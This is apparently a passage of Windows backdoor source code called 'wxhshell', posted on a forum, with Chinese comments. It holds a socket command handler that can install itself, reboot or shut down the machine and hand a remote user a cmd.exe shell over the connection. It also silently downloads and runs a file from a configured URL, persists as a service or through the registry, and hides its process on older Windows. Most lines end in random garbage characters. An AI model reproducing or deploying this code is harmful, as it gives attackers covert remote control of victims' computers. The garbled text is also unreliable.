  else { 9J*\T(W  
Gg3,:A_ w  
    switch(cmd[0]) { y$F'(b| )  
  gX}8#O.K$  
  // 帮助 <#y[gTJ<'>  
  case '?': { yZ(zdM\/sL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gQelD6c  
    break; [0[i5'K:  
  } H8^(GUhyp  
  // 安装 eRstD>r  
  case 'i': { uk]$#TV*q>  
    if(Install()) ua Gk6S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 +YH.4R  
    else cLJ$M`e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nQtWvT  
    break; R'`qKc  
    } z'U1bMg  
  // 卸载 &yTqZ*Yuk  
  case 'r': { p* (JjH  
    if(Uninstall()) Lpz>>}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S6M}WR^,  
    else ?.-wnz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mj?`j_X  
    break; /-qNh >v4  
    } :&rt)/I  
  // 显示 wxhshell 所在路径 k&q;JyUi  
  case 'p': { kT66;Y[  
    char svExeFile[MAX_PATH]; B =T'5&  
    strcpy(svExeFile,"\n\r"); >`mVY=H i  
      strcat(svExeFile,ExeFile); L>&t|T2  
        send(wsh,svExeFile,strlen(svExeFile),0); D~fl JR  
    break; x0D*U?A  
    } VUGmi]qd  
  // 重启 I-)+bV G  
  case 'b': { l0w]`EE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m@F`!qY~Y\  
    if(Boot(REBOOT)) Q&ptc>{bH6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x8\?}UnB  
    else { y`5 9A  
    closesocket(wsh); Jr!JHC9i  
    ExitThread(0); D~iz+{Q4  
    } Uh4%}-;  
    break; !bx;Ta.  
    } )Y0!~# `  
  // 关机 .x.]`b(  
  case 'd': { ")5":V~fN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rgv?gaQ>  
    if(Boot(SHUTDOWN)) l -mfFN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w"|L:8  
    else { 1..+F0U  
    closesocket(wsh); a=1@*ID  
    ExitThread(0); 8.=BaNU  
    } nFe<w  
    break; q=m'^ ,gPS  
    } oj<gD  
  // 获取shell $am$ EU?s  
  case 's': { Xp% v.M  
    CmdShell(wsh); wqs? 828x  
    closesocket(wsh); Hqx-~hQO  
    ExitThread(0); mzKiO_g}  
    break; hJ? O],4J  
  } [`[|l  
  // 退出 ^_W#+>&--  
  case 'x': { aEWWP]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a :`E0}C  
    CloseIt(wsh); 8z`G,qh  
    break; 4G0m\[Du  
    } (Q!}9K3  
  // 离开 |O+H[;TB6  
  case 'q': { 7#a-u<HF"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .bg~>T+<  
    closesocket(wsh); \fd v]f  
    WSACleanup(); EwT"uL*V;  
    exit(1); D|p9qe5%  
    break; Pn1^NUMZJ  
        } #A/  
  } Rsk4L0  
  } $GcqBg-Hi  
]p GL`ge5  
  // 提示信息 aFm_;\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &`r-.&Y  
} -3 *]G^y2  
  } m dg8,n  
P|E| $)m  
  return; rJ4S%6w  
} FVbb2Y?R  
f~R(D0@  
// shell模块句柄 R+z2}}Z!`  
int CmdShell(SOCKET sock) %)1?TU  
{ ;[YG@-"XZ  
STARTUPINFO si; 7Q9 w?y~c  
ZeroMemory(&si,sizeof(si)); "+nRGEs6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U9 s&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  4e7-0}0  
PROCESS_INFORMATION ProcessInfo; Iyn(?w  
char cmdline[]="cmd"; #gN&lY:CFn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bsli0FJSh'  
  return 0; V)k4:H  
} pYEMmZ?L  
|syR6(U}  
// 自身启动模式 .`H5cuF`  
int StartFromService(void) lrE5^;/s1  
{ 8/#A!Ww]  
typedef struct Pmx -8w  
{ I$G['` XX/  
  DWORD ExitStatus; h7oo7AP  
  DWORD PebBaseAddress; JPHL#sKyz  
  DWORD AffinityMask; +3BN}  
  DWORD BasePriority; J*A,o~U|  
  ULONG UniqueProcessId; | YWD8 +  
  ULONG InheritedFromUniqueProcessId; C.-,^+t;g  
}   PROCESS_BASIC_INFORMATION; [|$h*YK  
VCkq"f7c w  
PROCNTQSIP NtQueryInformationProcess; n( yn<  
RbnVL$c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N>`Aw^ _@&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +Kc  
vh%B[brUJ  
  HANDLE             hProcess; nR~@#P\  
  PROCESS_BASIC_INFORMATION pbi; T?0eVvM  
BDDlQci38  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O0v}43J [  
  if(NULL == hInst ) return 0; F/{!tx  
T'9'G M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sz`,X0a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RtS+<^2a;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ? OM!+O  
!f [_+CD  
  if (!NtQueryInformationProcess) return 0; @,+5y\]C  
PC8Q"O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  <kqo^  
  if(!hProcess) return 0; hn@08t G  
cV6D<,)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; KV *#T20T  
.`eN8Dl1  
  CloseHandle(hProcess); Dz/ "M=  
K\r8g=U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); + &Eqk  
if(hProcess==NULL) return 0; YD6'#(  
(w3YvG.  
HMODULE hMod; X+9>A.92  
char procName[255]; ES7s1O$#  
unsigned long cbNeeded; <%eG:n,#  
d7upz]K9g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W ac&b  
_B<X`L =  
  CloseHandle(hProcess); rb.N~  
$U WZDD  
if(strstr(procName,"services")) return 1; // 以服务启动 6bC3O4Rw  
_`T_">9r  
  return 0; // 注册表启动 ?fSG'\h>  
} S,UDezxg  
v!5 `|\  
// 主模块 a1lh-2x X  
int StartWxhshell(LPSTR lpCmdLine) T8$y[W-c  
{ kDxFloK  
  SOCKET wsl; u6JM]kR  
BOOL val=TRUE; rEW b"  
  int port=0; Svmy(w~m  
  struct sockaddr_in door; #X1ND  
|Rk@hzM2S  
  if(wscfg.ws_autoins) Install(); 0GeTS Fj  
WOap+  
port=atoi(lpCmdLine); TC*g|d @b  
#*Ctwl,T  
if(port<=0) port=wscfg.ws_port; #"~<HG}bR/  
y<Ot)fa$  
  WSADATA data; ~c `l@:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5 7c8xk[.2  
q/,O\,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X \/#@T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NBGH_6DROw  
  door.sin_family = AF_INET; e\L8oOk#r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^1.By^ $  
  door.sin_port = htons(port); 26h21Z16q  
rx|pOz,:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4kx N<]  
closesocket(wsl); 9yP;@y*d  
return 1; 'H;*W|:-]  
} iH@UTE;  
L!xi  
  if(listen(wsl,2) == INVALID_SOCKET) { ' `Hr}  
closesocket(wsl); i XjM.G  
return 1; <LiPEo.R  
} #ABZ&Z  
  Wxhshell(wsl); tR$NRMZ.  
  WSACleanup(); i/Zd8+.n$  
7%M_'P4 V  
return 0; wibNQ`4k  
Q$"D]!G  
} FYQS)s  
;2QP7PrSY  
// 以NT服务方式启动 T>W,'H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]Y&VT7+Z  
{ +ZP7{%  
DWORD   status = 0; @r1_U,0e  
  DWORD   specificError = 0xfffffff; f/?P514h  
9pfIzs su3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ECmW`#Otb)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z% UP6%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,ig/s2ZG6X  
  serviceStatus.dwWin32ExitCode     = 0; $XH^~i;  
  serviceStatus.dwServiceSpecificExitCode = 0; Eu3E-K@y  
  serviceStatus.dwCheckPoint       = 0; ");a3hD  
  serviceStatus.dwWaitHint       = 0; `R^gU]Z,  
$6IJ P\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VIf.q)_k  
  if (hServiceStatusHandle==0) return; iy.\=Cs$N  
&rR2,3r=  
status = GetLastError(); N;%6:I./  
  if (status!=NO_ERROR) f$QNg0v  
{ v3>UV8c'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JucY[`|JV  
    serviceStatus.dwCheckPoint       = 0; y@yD5$/  
    serviceStatus.dwWaitHint       = 0; 8&dF  
    serviceStatus.dwWin32ExitCode     = status; <#4h}_xA%  
    serviceStatus.dwServiceSpecificExitCode = specificError; HZZn'u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); owv[M6lbD  
    return; ^-'fW7[m  
  } wMN]~|z>  
&K,i f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R4d=S4 i  
  serviceStatus.dwCheckPoint       = 0; Tlr v={  
  serviceStatus.dwWaitHint       = 0; Xch~ 1K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .=; ;  
} )V9bI(v  
lp8v0e4  
// 处理NT服务事件,比如:启动、停止 dj%!I:Q>u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W2!+z{:m  
{  %;!.n{X  
switch(fdwControl) _)-o1`*-  
{ V=3b&TkE  
case SERVICE_CONTROL_STOP: dAj$1Ke  
  serviceStatus.dwWin32ExitCode = 0; Znv,9-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; % & bY]w  
  serviceStatus.dwCheckPoint   = 0; gBD]}vo-  
  serviceStatus.dwWaitHint     = 0; *X}`PF   
  { sDV Q#}a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OZ;*JR:  
  } =2x^nW  
  return; w4Z'K&d=  
case SERVICE_CONTROL_PAUSE: 7K:PdF>/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \73ch  
  break; i@J ;G`  
case SERVICE_CONTROL_CONTINUE:  9gZ$   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P!k{u^$L  
  break; 5@W j>:w  
case SERVICE_CONTROL_INTERROGATE: kG*~ |ma  
  break; NGWxN8P6  
}; / XIhj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +ck}l2&#  
} FN73+-:n:j  
i}?>g-(  
// 标准应用程序主函数 Y<8vw d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /a o5FL  
{ U/BR*Zn]*  
Tm?#M&'  
// 获取操作系统版本 { (}By/_  
OsIsNt=GetOsVer(); Y <qm{e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9_s`{(0?  
?bu>r=oIO]  
  // 从命令行安装 nQS|Lt_+  
  if(strpbrk(lpCmdLine,"iI")) Install(); L/^I*p,  
<54 S  
  // 下载执行文件 Y6d@h? ht  
if(wscfg.ws_downexe) { vr^qWn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,Y48[_ymm  
  WinExec(wscfg.ws_filenam,SW_HIDE); Du){rVY^d  
} sx<%2  
%~S&AE-  
if(!OsIsNt) { DlNX 3  
// 如果时win9x,隐藏进程并且设置为注册表启动 igAtRX%Qx  
HideProc(); _J[P[(ab  
StartWxhshell(lpCmdLine); xkR0  
} hR|MEn6KC  
else >F&47Yn  
  if(StartFromService()) 1aABzB ^  
  // 以服务方式启动 wlmRe`R  
  StartServiceCtrlDispatcher(DispatchTable); {]|J5Dgfe  
else m j@13$=  
  // 普通方式启动 5/z/>D;  
  StartWxhshell(lpCmdLine); X[TR3[1}  
`y* }lg T  
return 0; 0qT%!ku&  
}
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只看该作者 1 发表于: 2006-10-10
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